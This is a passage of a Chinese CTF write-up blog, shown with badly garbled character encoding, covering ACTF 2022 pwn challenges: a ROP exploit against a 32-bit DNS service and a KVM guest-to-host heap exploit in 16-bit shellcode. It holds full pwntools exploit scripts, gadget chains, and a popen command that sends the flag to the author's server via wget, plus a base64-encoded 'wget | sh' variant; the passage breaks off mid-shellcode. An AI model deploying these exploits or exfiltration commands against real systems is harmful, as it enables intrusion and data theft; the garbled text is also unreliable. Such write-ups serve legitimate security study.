å³äŒåŸå°æ å°å0xffcf041cïŒ0xffcf0420å€çåŒïŒäœäžºpopençäž€äžªåæ°ãäœåŸå¯æïŒèœç¶ç¬¬æ äž0xffcf041cäœäžºäžäžªåæ°å¯çšïŒäœç±äºpopenç第äºäžªåæ°ä¹æ¯å笊䞲æéïŒèæ äž0xffcf0420çåŒäžº0x1ïŒäžèœäœäžºpopenç第äºäžªåæ°ïŒå
¶è§£åŒçšæ¶å¿
ç¶åŽ©æºïŒ
```cââââââââââââââââââââââââââââââââââ[ STACK ]ââââââââââââââââââââââââââââââââââ00:0000â esp 0xffcf040c ââž 0x8059d44 ââ pop eax01:0004â 0xffcf0410 ââ 0x1122334402:0008â 0xffcf0414 ââž 0x804ab40 (popen@plt) ââ endbr32 03:000câ 0xffcf0418 ââž 0xffcf0400 ââ 0x61616161 ('aaaa')04:0010â 0xffcf041c ââž 0x9bfc5b0 ââ 0x61616161 ('aaaa')05:0014â 0xffcf0420 ââ 0x106:0018â 0xffcf0424 ââ 0x407:001câ 0xffcf0428 ââž 0xffcf0578 ââž 0xffcf0628 ââž 0xffcf07a8 ââ 0x0
pwndbg> c
*EDX 0x1 EDI 0xf7f32000 (_GLOBAL_OFFSET_TABLE_) ââ 0x1ead6c*ESI 0x9bfc5b0 ââ 0x61616161 ('aaaa')*EBP 0xf7f32000 (_GLOBAL_OFFSET_TABLE_) ââ 0x1ead6c*ESP 0xffcf033c ââž 0x9c034b0 ââ 0xfbad248c*EIP 0xf7db4790 (_IO_proc_open+64) ââ movzx eax, byte ptr [edx]âââââââââââââââââââââââââââââââââ[ DISASM ]ââââââââââââââââââââââââââââââââââ ⺠0xf7db4790 <_IO_proc_open+64> movzx eax, byte ptr [edx]```
åŠæäžæ³çŽæ¥äœ¿çšæ äžçæ°æ®åœåæ°ïŒè¿æäžç§æè·¯æ¯ææ äžä¹åçæ°æ®popå°å¯ååšéä¹åååè
Ÿãäœè¿æå³çROPéŸäžèœèŠçå°éèŠäœ¿çšçæ®çæ°æ®ïŒè¿å°äŒå¯ŒèŽpop宿®çæ°æ®åïŒROPéŸåŸéŸç»§ç»ã峿 溢åºçROPéŸæ¯èŠè¿ç»çåé«å°åèŠçåšæ äžïŒè¿äžå©çšæ äžçæ®çæ°æ®å€§æŠçæ¯å²çªçãé€éæŸå°æ¯èŸå·§åŠçæ¬æ gadgetïŒpop宿®çå¯ååšåïŒçŽæ¥ææ è¿ç§»å°æŽäœçæ å°åïŒåŠæº¢åºçpaddingéšåïŒä»¥ç»§ç»ROPéŸã

æäºç±»äŒŒïŒ[Netgear PSV-2020-0432 / CVE-2021-27239 æŒæŽå€ç°](https://xuanxuanblingbling.github.io/iot/2021/11/01/netgear/)ç»è¿ç©ºåç¬Šçæ è¿ç§»ïŒäžè¿è¿éæ¯ç±äºå¯æ§æ°æ®åšæŽé«çæ å°åïŒæä»¥ææ å°ååŸé«äºè¿ïŒ

æ»ä¹ïŒä»çŽæ¥å©çšæ äžçæ®çæ°æ®äžæ¯åŸå®¹æïŒå æ€æä»¬éèŠæ¢äžªæè·¯...
#### å©çšåŽ©æºç°åºçå¯ååš
åçåŽ©æºæ¶ïŒé€äºæ ïŒè¿å¯ä»¥çå°ecxåedxå¯ååšéœæåäºæä»¬åéçååšæ äžçååæ°æ®ïŒå¹¶äžç»è¿æµè¯ïŒedxæåçæ°æ®æ£æ¯åéæ°æ®çåŒå€ŽéšåïŒè¿ç»å©çšåžŠæ¥äºäžç§å¯èœæ§ïŒ
```cProgram received signal SIGSEGV, Segmentation fault.0xdeadbeef in ?? ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATAââââââââââââââââââââââââââââââââ[ REGISTERS ]ââââââââââââââââââââââââââââââââ*EAX 0x61616161 ('aaaa')*EBX 0x782e6161 ('aa.x')*ECX 0xffe4e540 ââ 0x61616161 ('aaaa')*EDX 0xffe4e257 ââ 0x61616161 ('aaaa') EDI 0xf7f8c000 (_GLOBAL_OFFSET_TABLE_) ââ 0x1ead6c ESI 0x8d429c0 ââ 0x2910*EBP 0x2e736e64 ('dns.')*ESP 0xffe4e5e0 ââž 0x8d43000 ââž 0x8d42fc0 ââž 0x8d42fe0 ââ 'misses.bind'*EIP 0xdeadbeef```
åšé¢ç®çšåºè°çšpopenæ¶ïŒå¯ä»¥çŽæ¥å©çšå°å¯ååšåæ çäŒ åçè¿çšïŒå°x86çåæ äŒ å蜬æ¢äžºå¯ååšäŒ åãäžè¿äžå·§çæ¯ïŒæ€æ®µgadget䜿çšedx䞺modesåæ°ïŒèeax䞺åœä»€åæ°ïŒ
```c.text:08071802 push edx ; modes.text:08071803 push eax ; command.text:08071804 call _popen```
äœåŽ©æºç°åºedxæå坿§æ°æ®ïŒeaxåŽè¢«æº¢åºèŠçïŒæä»¬å¯ä»¥åŸå®¹æçæ§å¶eax䞺已ç¥å°åïŒåŠ0x0809C7B2倿å笊䞲"r"ïŒæ¬å°±äžºpopençmodesåæ°ïŒ
```c.rodata:0809C7B2 aR_3 db 'r',0 ```
æä»¥è¿äžªè°çšpopençgadgetåŠæèœæpushå¯ååšç顺åºè°æ¢äžäžïŒå¯èœäžæ¥å°±æå®äºãäžè¿è¿äžªæè·¯ä»ç¶å¯ä»¥ç»§ç»ïŒäŸåп们å¯ä»¥æ³åæ³äº€æ¢eaxäžedxïŒå°è¯å¯»æŸçžå
³gadgetïŒäœæ²¡æçŽæ¥retè¿åçïŒäžå€ªå¥œçšïŒ
```câ ROPgadget --binary ./dns | grep "xchg eax, edx"0x0804a896 : add al, 0 ; add cl, ch ; xchg eax, edx ; idiv edi ; jmp dword ptr [esi - 0x70]0x0804a898 : add cl, ch ; xchg eax, edx ; idiv edi ; jmp dword ptr [esi - 0x70]0x08065781 : inc ebp ; xchg eax, edx ; test ax, ax ; jne 0x80657a1 ; jmp 0x806605b0x08065780 : mov bh, 0x45 ; xchg eax, edx ; test ax, ax ; jne 0x80657a1 ; jmp 0x806605b0x0804a895 : sub byte ptr [eax + eax], al ; add cl, ch ; xchg eax, edx ; idiv edi ; jmp dword ptr [esi - 0x70]0x08096592 : xchg eax, edx ; enter 0, 0 ; mov dword ptr [ebp - 4], edx ; jmp 0x80965d90x0804a89a : xchg eax, edx ; idiv edi ; jmp dword ptr [esi - 0x70]0x08065782 : xchg eax, edx ; test ax, ax ; jne 0x80657a1 ; jmp 0x806605b```
ä»ç¶å¯ä»¥ç»§ç»æ³ïŒé£èœäžèœäœ¿çšadd eaxïŒedxè¿ç§ïŒä»¥å®æå¯ååšæ°æ®çäŒ éïŒçç¡®æå¯çšçïŒ
```câ ROPgadget --binary ./dns | grep "add eax, edx" | grep ret0x0804b639 : add eax, edx ; add esp, 0x10 ; pop ebx ; pop ebp ; ret0x0808787b : add eax, edx ; leave ; ret```
æä»¥åºè¯¥åšè¿è¡å æ³ä¹åæeaxæž
æïŒäœæ¯æä»¬èŸå
¥çååæ°æ®äžèœæç©ºåèïŒå æ€ä¹å°±äžèœéè¿èŸå
¥æ°æ®çŽæ¥ç»eaxæž
é¶ïŒå¯ä»¥å¯»æŸæž
é¶ççžå
³gadgetãåç°åŒæç没æèœçšçïŒäœæ¯æçŽæ¥ç»eaxèµåŒäžº0çïŒ
```câ ROPgadget --binary ./dns | grep "xor eax, eax"0x0808ad7a : xor eax, eax ; neg eax ; adc edx, 0 ; neg edx ; jmp 0x808ad8f0x0808bc16 : xor eax, eax ; neg eax ; adc edx, 0 ; neg edx ; jmp 0x808bc2bâ dns ROPgadget --binary ./dns | grep ret |grep "mov eax, 0"0x080525db : mov eax, 0 ; pop ebp ; ret```
åŠå€è¿æäžäžªæè·¯ïŒå°±æ¯éè¿ROP popç»eaxäžäžªå€§æ°ïŒæç¬Šå·äžå¯ä»¥çè§£äžºèŽæ°ïŒïŒç¶åæŸäžªå æ³gadgetç»eaxæž
é¶ïŒ
```câ ROPgadget --binary ./dns | grep ret | grep -v "ret " | grep ": add eax, 0x"0x08094d60 : add eax, 0x11038 ; nop ; pop ebp ; ret0x08056434 : add eax, 0x1b8 ; add cl, cl ; ret0x0804b8fa : add eax, 0x28 ; pop ebp ; ret0x08057749 : add eax, 0x4000ba ; add byte ptr [edi], cl ; mov bh, 0x45 ; retf 0xd0090x0804b319 : add eax, 0x80a6fe0 ; add ecx, ecx ; ret0x08082067 : add eax, 0x81fffc92 ; ret0x0804beae : add eax, 0x83000000 ; les esp, ptr [eax] ; leave ; ret0x08055093 : add eax, 0xb8 ; add cl, cl ; ret```
æååªèŠåæ§å¶edxå³å¯ïŒ
```câ ROPgadget --binary ./dns --only 'pop|ret' | grep edx 0x0807ec72 : pop edx ; ret```
è³æ€ïŒç±»äŒŒäº€æ¢å¯ååšè¿æ¡è·¯åºè¯¥æ¯å¯ä»¥èµ°éäºïŒ
1. éŠå
æåœä»€æŸåšåéæ°æ®çåŒå€ŽïŒåŽ©æºæ¶edxäŒæååœä»€å€2. ç¶ååšROPäžéè¿gadgetæè
å æ³ç»eaxæž
é¶3. ä¹åçš add eax, edx æedxç»eax4. ç»§ç»äœ¿çšgadget pop edxïŒæedxæ§å¶äžºå笊rçå°å0x809C7B25. æåè°çš0x8071802çgagdet宿popençè°çš
äžè¿æäœ¿çšè¿ç§æ¹æ³ïŒåšæåè°çšpopençåæ°è®Ÿçœ®çèµ·æ¥æ¯æ£ç¡®çïŒäœæ¯åŽäŒè°çšå€±èŽ¥ãæ³äºå¥œäžäŒïŒåæ¥çªç¶åç°è¿äžªé误æä»¥åç¯è¿ïŒå³edxæåçæ°æ®åŒå€Žå€ïŒæŸçœ®åœä»€ïŒçæ å°åïŒæ¯åšåœåæ å°åä¹äžïŒæŽäœå°åïŒãåœè¿è¡åœæ°è°çšæ¶ïŒæ äŒç»§ç»åäœå°åå¢é¿ïŒå¯èœäŒå°æä»¬æŸçœ®çåœä»€æ°æ®èŠçæïŒå¯ŒèŽpopenè°çšå€±èŽ¥ã
> åœå¹Žapengåºçé¢ïŒ[De1CTF 2020 Web+Pwn mixture](https://xuanxuanblingbling.github.io/ctf/pwn/2020/05/05/mixture/)ïŒåŸäžæ çæ¹åäžgdbæå°æ¹åçžåã

æä»¥è§£å³æ¹æ¡ä¹åŸç®åïŒæåœä»€æ°æ®æŸåšåœåæ 顶以äžïŒæŽé«å°åïŒçäœçœ®å³å¯ãåšæ¬é¢äžïŒæä»¬å¯ä»¥æº¢åºçå°è¿äž€æ®µé¿åºŠ0x3fçæ°æ®ïŒæä»¥å¯ä»¥å°åœä»€æ°æ®æ¥åšROPéŸä¹åïŒå¹¶äžåç¬ææ®µïŒå³äžæ®µROPïŒäžæ®µcmdïŒ
```pythonpayload += b'\x3f'+rop.ljust(0x3f,b'a')payload += chr(len(cmd)).encode() + cmd```
äžè¿åŠææ¯è¿æ ·ïŒæä»¬åšè¿è¡add eax, edxæ¶ïŒå°±éèŠå°eax讟眮䞺ïŒcmdå°æ°æ®åŒå€Žçåç§»ãåŠæå°ROPé¿åºŠåºå®äžº0x3fïŒåcmdå°æ°æ®åŒå€Žçå移䞺ïŒ0x385 + 0x40 = 0x3c5ïŒå³éèŠå°eax讟眮䞺0x3c5ïŒäœæ¯0x3c5以å䞪åèåéïŒè¿æ¯äŒæç©ºåèïŒæä»¥çŽæ¥éèŠäœ¿çšå¯¹eaxè¿è¡ç«å³æ°å æ³çgadgetïŒäŸåŠïŒ
```c0x08094d60 : add eax, 0x11038 ; nop ; pop ebp ; ret```
å¯ä»¥å°eaxæå讟眮䞺ïŒ0x1000003c5 - 0x11038 = 0xfffef38dïŒè¿æ ·è¿è¡å æ³ä¹åïŒeaxå³å¯äžº0x3c5ïŒå¹¶äž0xfffef38däžä¹äžååšç©ºå笊ã
## æç»exp
宿ŽexpåŠäžïŒéèŠævpsæå¡åšå°åæ¹äžäžïŒåŠå€èŠæ³šæçæ¯ïŒ
- 泚æåéæ°æ®äžäžèœæç©ºåèïŒæä»¥è¿ä¹æ¬é¢äžº32äœçæ ¹æ¬åå ïŒ64äœäžROPå°åå¿
æç©ºåç¬ŠïŒæ æ³å©çš- åŠå€å 䞺没æäœ¿çšscapyïŒå¯ŒèŽåéçæ°æ®äžäžèœçŽæ¥ååšç¹ïŒ0x2eïŒïŒå æ€äœ¿çšecho -e "\x2e"ç»è¿ipå°åå¿
æçç¹- åœä»€çæå€§é¿åºŠäžº 63 - 5ïŒROP对éœçpadding段ïŒ= 58ïŒæä»¥çå»äºwgetçhttpå端å£å·- æ¬å°popenæ¶echo -e蜬ä¹ç¹äžå¥œäœ¿ïŒåå äžè¯ŠïŒäœå¯ä»¥äœ¿çšæ³šéäžçbase64æïŒè¿æ¯wgetæ¬å°80ïŒ
> æè§åŸæåæŽäžªROPéŸè¿æºç²Ÿåœ©çïŒå©çšäºäžäºåŽ©æºç°åºæ®åçæ°æ®ïŒè¿äœ¿çšäºäžäºå å ååç计ç®ç»è¿ç©ºå笊
```pythonfrom pwn import *context(log_level='debug')
io = remote("59.63.224.108",9999,typ='udp')
vps = b"127.0.0.1"cmd = b'wget `echo -e "%s"`/`cat /flag`' % (vps.replace(b'.',b'\\x2e'))# cmd = b"echo d2dldCAxMjcuMC4wLjEvYGNhdCAvZipgCg== | base64 -d | sh"
# 0x08059d44 : pop eax ; ret# 0x08094d60 : add eax, 0x11038 ; nop ; pop ebp ; ret# 0x0804b639 : add eax, edx ; add esp, 0x10 ; pop ebx ; pop ebp ; ret# 0x0807ec72 : pop edx ; ret
rop = p32(0x08059d44) # pop eax ; retrop += p32(0xfffef38d) # 0xfffef38d + 0x11038 = 0x3c5, eax = edx + 0x3c5, eax will point to cmd rop += p32(0x08094d60) # add eax, 0x11038 ; nop ; pop ebp ; retrop += p32(0x11223344) # paddingrop += p32(0x0804b639) # add eax, edx ; add esp, 0x10 ; pop ebx ; pop ebp ; retrop += p32(0x11223344) * 6 # paddingrop += p32(0x0807ec72) # pop edx ; retrop += p32(0x0809C7B2) # string rrop += p32(0x08071802) # push edx(r) ; push eax(cmd) ; call popen
assert(len(rop) < 63)assert(len(cmd) < 59)
payload = (b'\x3f'+b'a'*0x3f) * 14payload += b'\x04'+b'a'*4payload += b'\x3f'+rop.ljust(0x3f,b'a')payload += chr(len(cmd)).encode() + cmdpayload += b'\x00'
head = bytes.fromhex("000001200001000000000001")end = bytes.fromhex("00010001")io.send(head+payload+end)```
å³å¯åšæå¡åšäžæ¶å°flagïŒ
```cubuntu@VM-16-6-ubuntu:~$ sudo nc -l 80GET /ACTF%7Bd0M@1n_Po1nt3rs_aR3_VuLn3rab1e_1d7a90a63039831c7fcaa53b766d5b2d!!!!!%7D HTTP/1.1User-Agent: Wget/1.20.3 (linux-gnu)Accept: */*Accept-Encoding: identityConnection: Keep-Alive```
æ¬é¢flag䞺ïŒ
```cACTF{d0M@1n_Po1nt3rs_aR3_VuLn3rab1e_1d7a90a63039831c7fcaa53b766d5b2d!!!!!}``` |
# ACTF 2022 Pwn mykvm
> ç®æ è¿çšäŒè¯»åçšæ·èŸå
¥å¹¶éå
¥å°åå§åç¶æé垞纯粹ïŒintel 宿š¡åŒïŒçkvmèææºäžè¿è¡ïŒæä»¥å¯ä»¥çè§£äžºçšæ·èŸå
¥shellcodeéå
¥kvmè¿è¡ãæŒæŽç¹äžºïŒkvmæ å°ç宿䞻è¿çšå
å空éŽè¿å€§ïŒå¯ŒèŽå¯ä»¥åškvmèææºäžè®¿é®å°å®¿äž»è¿çšçå 空éŽãå æ€æç»éè¿shellcode读å宿䞻è¿çšçå 宿å©çšãéèŠæ³šæçæ¯ïŒå€äºå®æš¡åŒäžçshellcodeåªæ1Mç寻å空éŽïŒ20æ ¹å°å线ïŒïŒå æ€åºè¯¥äœ¿çšshellcodeè¿å
¥å°ä¿æ€æš¡åŒäžïŒå®ææ¬é¢ãäœç±äºéæºå圱åïŒååšæ°å·§å 空éŽäž1Mç寻åç©ºéŽæäº€éçå¯èœïŒå æ€ææ²¡æè¿å
¥ä¿æ€æš¡åŒïŒèæ¯éçšçç Žçææ®µãåœæ°å·§éå°ïŒå åš1Må¯å¯»åèåŽå
æ¶ïŒåšå®æš¡åŒäžçŽæ¥å¯¹å è¿è¡è¯»åïŒå®æå©çšã
éä»¶ïŒ[mykvm.zip](https://xuanxuanblingbling.github.io/assets/attachment/actf/mykvm.zip)
## kvmåºç¡
ä¹åæ¯æ¬¡çqemuå¯åšåæ°éå -enable-kvmæ¶éœåŸå®³æïŒäžç¥éæ¯äžªä»ä¹ç©æïŒæ»æ¯æ¥éïŒæä»¥æ¯æ¬¡éœæè¿äžªåæ°å æïŒåä¹äžèœè¯¯æ£åžžåé¢ãä¹åå¬æäººè¯ŽkvmæåŸåœ¢çé¢ïŒå°±æ³ç¥ékvmè¿ç©æåç¬åçšïŒè¿æ¬¡æ£è§äžäžïŒ
- [QEMUåKVMçå
³ç³»](https://zhuanlan.zhihu.com/p/48664113)- [èææºç®¡çåšïŒVirtual Machine ManagerïŒç®ä»](https://linux.cn/article-11364-1.html)- [KVM èæåæ¶æåå®ç°åç](https://blog.51cto.com/u_15301988/3088315)- [KVMåºæ¬å·¥äœåç](https://blog.51cto.com/fatty/1764601)
éè¯»äžæ¥å€§æŠç解䞺ïŒ
- kvmçå®ç°åšlinuxå
æ žäžïŒçšæ·æäœ¿çšå
æ žæäŸ/dev/kvm讟å€èç¹äœ¿çškvmåèœ- kvmåªèœæš¡æCPUåå
åïŒäžæ¯ææš¡æIO- æä»¥åŠæèŠè¿è¡äžäžªå®æŽçèææºïŒåžŠçé¢ïŒIOçïŒäžèœåç¬äœ¿çškvmïŒå¿
é¡»åqemuäžèµ·- qemuå¯ä»¥åç¬è¿è¡èææºïŒä¹å¯ä»¥åkvmåäœäžèµ·è¿è¡äžäžªèææº- åšqemuåŒå¯äº-enable-kvmæ¶ïŒå¯ä»¥å°guestéšå代ç éè¿/dev/kvm让å
æ žäžçkvmè¿è¡- é£äžªåŠåvmwareçåŸåœ¢çé¢ç蜯件æ¯virt-managerïŒåºå±è¿æ¯è°çškvm+qemu
é£kvmå°åºæä¹çšå¢ïŒ
## kvmç¯å¢
å 䞺äžè¬çåé¢ç¯å¢éœæ¯vmwareéçubuntuïŒèŠæ¯ækvméç©çæºæ¯æå¹¶äžåŒå¯vmwareäžçIntel VT-xå éé项ïŒ

äœç»è¿æµè¯ïŒåšæçç¯å¢äžïŒmac+vmware+ubuntu 16.04/18.04äžkvmå°±æ¯åŒäžåŒïŒubuntu20.04å¯ä»¥äœ¿çškvmïŒèé¢ç®ç»çç¯å¢æ¯16.04çdockerãæä»¥åªèœäœ¿çšubuntu20.04åšé¢ç®dockeréè°è¯ãdocker buildæ¶äŒæäžäžªè¯¡åŒçé误ïŒçèµ·æ¥æ¯æ²¡ædnsïŒ
```c$ docker build -t mykvm -f Dockerfile .Sending build context to Docker daemon 729.1kBStep 1/15 : FROM ubuntu:16.04 ---> b6f507652425Step 2/15 : RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && apt-get update && apt-get -y dist-upgrat ---> Running in d1585814fe74Err:1 http://mirrors.tuna.tsinghua.edu.cn/ubuntu xenial InRelease Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'Err:2 http://security.ubuntu.com/ubuntu xenial-security InRelease Temporary failure resolving 'security.ubuntu.com'Err:3 http://mirrors.tuna.tsinghua.edu.cn/ubuntu xenial-updates InRelease Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'Err:4 http://mirrors.tuna.tsinghua.edu.cn/ubuntu xenial-backports InRelease Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'Reading package lists...W: Failed to fetch http://mirrors.tuna.tsinghua.edu.cn/ubuntu/dists/xenial/InRelease Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'W: Failed to fetch http://mirrors.tuna.tsinghua.edu.cn/ubuntu/dists/xenial-updates/InRelease Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'W: Failed to fetch http://mirrors.tuna.tsinghua.edu.cn/ubuntu/dists/xenial-backports/InRelease Temporary failure resolving 'mirrors.tuna.tsinghua.edu.cn'W: Failed to fetch http://security.ubuntu.com/ubuntu/dists/xenial-security/InRelease Temporary failure resolving 'security.ubuntu.com'W: Some index files failed to download. They have been ignored, or old ones used instead.Reading package lists...Building dependency tree...Reading state information...Calculating upgrade...0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.Reading package lists...Building dependency tree...Reading state information...E: Unable to locate package lib32z1E: Unable to locate package xinetdE: Unable to locate package gdbE: Unable to locate package vimE: Unable to locate package pythonE: Unable to locate package git```
è§£å³æ¹æ¡ä¹åŸæç¬ïŒéå¯ïŒ
```c$ service docker restart```
ç¶åå³å¯çŒè¯å¯åšïŒäžå®èŠåå°å¯åšæèœè·è¿çšå ç¯å¢ä¿æäžèŽïŒåŠå€è¿èŠå `--privileged`åæ°ä»¥äŸ¿åšdockerå
访é®kvm讟å€ïŒæ¯äžæ¯æç¹å
¶ä»çå¯èœ...ïŒ
```c$ docker build -t mykvm -f Dockerfile .$ docker container run --privileged -p 1234:1234 -p 8000:8888 -d mykvmac3ea5f6c14bcca8c8b511426f64c077305824c7fce4d3762b55de27c9a17bf7```
ç¶ååšå€éšåèµ·äžäžªè¿æ¥ïŒå¯åšé¢ç®è¿çšåïŒå³å¯è¿å
¥docker䜿çšgdbserveræè°è¯åšïŒç¶åå€éšè¿å
¥è°è¯å³å¯ïŒ
```c$ docker exec -it ac3ea5f6c14bcca8c8b511 /bin/bashroot@ac3ea5f6c14b:/home/ctf# ps -efUID PID PPID C STIME TTY TIME CMDroot 36 19 0 12:57 ? 00:00:00 mykvm
root@ac3ea5f6c14b:/home/ctf# gdbserver :1234 --attach 36Attached; pid = 36Listening on port 1234```
## éåå€ç
ç±äºkvmæ¬èº«æ¯linuxçäžéšåïŒæä»¥å
¶å®ç°åæ¥å£éœæ¯åŒæºçïŒçšæ·æçšåºäž»èŠå°±æ¯äœ¿çšäºä»¥äžäž€äžªå€Žæä»¶è°çškvmæ¥å£ïŒ
```c$ find /usr/include/ -name "kvm.h"/usr/include/x86_64-linux-gnu/asm/kvm.h/usr/include/linux/kvm.h```
æä»¥åèè¿äž€äžªå€Žæä»¶åºæ¬å¯ä»¥å®æŽçæ¢å€çšæ·æäœ¿çškvmçå
·äœæ¥éª€ïŒäž»èŠæ¢å€äºïŒ
- ioctlæ¶çcmdåžžéïŒä»¥äŸ¿çè§£åŠäœæ§å¶ç/dev/kvm讟å€- çžå
³ç»æäœç笊å·ïŒä»¥äŸ¿çè§£è¿çšäžäœ¿çšçæ°æ®

### æ¢å€åžžé
è¯å«ioctlçåžžéå¯ä»¥çŽæ¥å¯¹ç倎æä»¶çïŒä¹å¯ä»¥æå€Žæä»¶éçå¯ä»¥åžžéæå°åºæ¥ïŒçœäžæŸäºäžäžªç€ºäŸçšåºïŒ
- [èæåå¹³å° KVM APIçioctl䜿çšç€ºèïŒäž)](https://blog.csdn.net/dobell/article/details/8264687)
```c#include <stdio.h>#include <sys/ioctl.h>#include <fcntl.h>#include <linux/kvm.h>
int main(){ int dev,state,cnt; dev=open("/dev/kvm",O_RDWR|O_NDELAY);
cnt=ioctl(dev,KVM_GET_API_VERSION,0); printf ("----KVM API version is--%d---\n",cnt);
cnt=ioctl(dev,KVM_CHECK_EXTENSION,KVM_CAP_MAX_VCPUS); printf ("----KVM supporting guest MAX_VCPUS is %d---\n",cnt);
printf("[+] KVM_CHECK_EXTENSION : %x \n",KVM_CHECK_EXTENSION); printf("[+] KVM_CAP_MAX_VCPUS : %x \n",KVM_CAP_MAX_VCPUS); printf("[+] KVM_SET_REGS : %x \n",KVM_SET_REGS); printf("[+] KVM_SET_SREGS : %x \n",KVM_SET_SREGS); printf("[+] KVM_GET_SREGS : %x \n",KVM_GET_SREGS); printf("[+] KVM_GET_API_VERSION : %x \n",KVM_GET_API_VERSION);
return 0;}```
```$ ./test ----KVM API version is--12-------KVM supporting guest MAX_VCPUS is 288---[+] KVM_CHECK_EXTENSION : ae03 [+] KVM_CAP_MAX_VCPUS : 42 [+] KVM_SET_REGS : 4090ae82 [+] KVM_SET_SREGS : 4138ae84 [+] KVM_GET_SREGS : 8138ae83 [+] KVM_GET_API_VERSION : ae00 ```
### æ¢å€ç»æäœ
åèäžéæç¬Šå·çé¢ç®ïŒ[Confidence2020 CTF KVM](https://www.anquanke.com/post/id/254790)ïŒå¯è¯å«åºäžäºæ°æ®äžºç»æäœïŒæŸå°å€Žæä»¶äžççžå
³å®ä¹ïŒç»ä»æåºæ¥ã
```c# define __u64 unsigned long long# define __u32 unsigned int# define __u16 unsigned short int# define __u8 unsigned char
struct kvm_userspace_memory_region { __u32 slot; __u32 flags; __u64 guest_phys_addr; __u64 memory_size; /* bytes */ __u64 userspace_addr; /* start of the userspace allocated memory */};
struct kvm_segment { __u64 base; __u32 limit; __u16 selector; __u8 type; __u8 present, dpl, db, s, l, g, avl; __u8 unusable; __u8 padding;};
struct kvm_dtable { __u64 base; __u16 limit; __u16 padding[3];};
#define KVM_NR_INTERRUPTS 256
struct kvm_sregs { /* out (KVM_GET_SREGS) / in (KVM_SET_SREGS) */ struct kvm_segment cs, ds, es, fs, gs, ss; struct kvm_segment tr, ldt; struct kvm_dtable gdt, idt; __u64 cr0, cr2, cr3, cr4, cr8; __u64 efer; __u64 apic_base; __u64 interrupt_bitmap[(KVM_NR_INTERRUPTS + 63) / 64];};
struct kvm_regs { /* out (KVM_GET_REGS) / in (KVM_SET_REGS) */ __u64 rax, rbx, rcx, rdx; __u64 rsi, rdi, rsp, rbp; __u64 r8, r9, r10, r11; __u64 r12, r13, r14, r15; __u64 rip, rflags;};```
ç¶åå¯ä»¥å¯Œå
¥å°idaäžïŒç¶å讟眮çžå
³åéçç±»åäžºç®æ ç»æäœå³å¯ïŒ

## æŒæŽå©çš
æŒæŽåŸææŸïŒåºæ¬äž[Confidence2020 CTF KVM](https://www.anquanke.com/post/id/254790)äžèŽïŒå°±æ¯æ å°å
åèåŽè¿å€§ïŒå¯ŒèŽguest代ç èœè®¿é®å°å®¿äž»æºçbss段äžçå
¶ä»åéãéè¿é¢ç®äžçå¯ååšè®Ÿçœ®ïŒåŠäžïŒå¯ä»¥çåºæ¥ççæ¯é垞纯粹çåå§åïŒå æ€æ€æ¶çèæåºæ¥çintel CPUå€äºå®æš¡åŒïŒå æ€åºè¯¥äœ¿çš16äœçshellcodeïŒ
```cioctl(v5, 0x8090AE81uLL, ®s;; // KVM_GET_REGSregs.rip = 0LL;regs.rsp = 0x4000LL;regs.rflags = 2LL;ioctl(v5, 0x4090AE82uLL, ®s;; // KVM_SET_REGSioctl(v5, 0x8138AE83uLL, &sregs); // KVM_GET_SREGSsregs.cs.selector = 0;sregs.cs.base = 0LL;ioctl(v5, 0x4138AE84uLL, &sregs); // KVM_SET_SREGS```
è¿æå°±æ¯ç±äºè¿è¡åškvmäžçshellcodeæ æ³åæ»å»è
çŽæ¥è¿çšäº€äºïŒæä»¥æ æ³å°å
åä¿¡æ¯çŽæ¥æ³é²ç»æ»å»è
ïŒæä»¥åªèœåšshellcodeäžèªè¡è®¡ç®å¹¶åå
¥å°æ§å¶æµå«æçäœçœ®ãshellcodeè¿çšå€§èŽåŠäžïŒ
- åšæåŒå§ïŒèŸå
¥nameïŒpasswdæ¶ïŒäœ¿çšå 飿°Žå°æªæ¥ç¬¬äžæ¬¡malloc忥çå åæå°fastbinïŒ0x20ïŒé- 读bssçdestæ³é²å å°å- ç±äºæ²¡è¿å
¥ä¿æ€æš¡åŒïŒè®¿ååªæ1Mç空éŽïŒæä»¥æ¯æ¬¡çç Žå å°åæ¯åŠåš1MèåŽé- çç Žçå
·äœæ¹æ³äžºïŒæ£æ¥äžè¿æ¶ïŒäž»åšåäžäžªé€é¶ïŒåŒåçåŒåžžäžæ£åžžhltç»ææå°äžå- çç ŽåïŒéè¿è¯»åå åæ³é²libcïŒå°one_gadgetåå
¥fastbinïŒ0x20ïŒ+8- å°putsçgot-8åå
¥destïŒåšmemcpyæ¶å®æå°one_gadgetåå
¥putsçgot衚- one_gadgetéèŠæ äžæ0ïŒåšshellcodeåä¹åå¡«å
0- æç»åšputsè°çšæ¶è§Šåone_gadgeæ¿å°shell
åŠå€ç±äºreadline对äºå æäœçæ¯èŸæ··ä¹±ïŒå¹¶äžäždockerå¯åšç¯å¢çžå
³ïŒæä»¥å¡å¿
䜿çšdockeråå°å¯åšïŒæèœäžè¿çšç¯å¢ä¿æäžèŽãä¿æç¯å¢äžèŽåïŒåšæäœäžèŽçæ
åµäžïŒå åçåžå±ä¹çžåïŒæèœå®æéè¿å èµ·å§å°åå äžåºå®åç§»å®æå¯¹libcçæ³é²ä»¥å对fastbinçåå
¥ãç®åçexpåŠäžïŒ
```pythonfrom pwn import *context(log_level='debug',arch='i386')io = remote("20.247.110.192",10888)
shellcode = asm('''.code16gccjmp main
.rept 0x50.byte 0x00.endr
main: // save heap start addr to stack mov eax, 0x7100 mov ebx, [eax] sub ebx, 0x603000 push ebx
// assert heap can access (1M, reserve 64k) cmp ebx, 0xf0000 jc next mov ebx, 0 div eax, ebx # bug
next: // leak libc and calc one_gadgte (ecx:edx) mov eax,[esp] add eax, 0x1b48 mov ebx, eax shr eax, 16 shl eax, 12 mov ds, eax mov edx, dword ptr ds:[bx] add bx, 4 mov ecx, dword ptr ds:[bx] sub edx, 0x3c51a8 add edx, 0x4527a
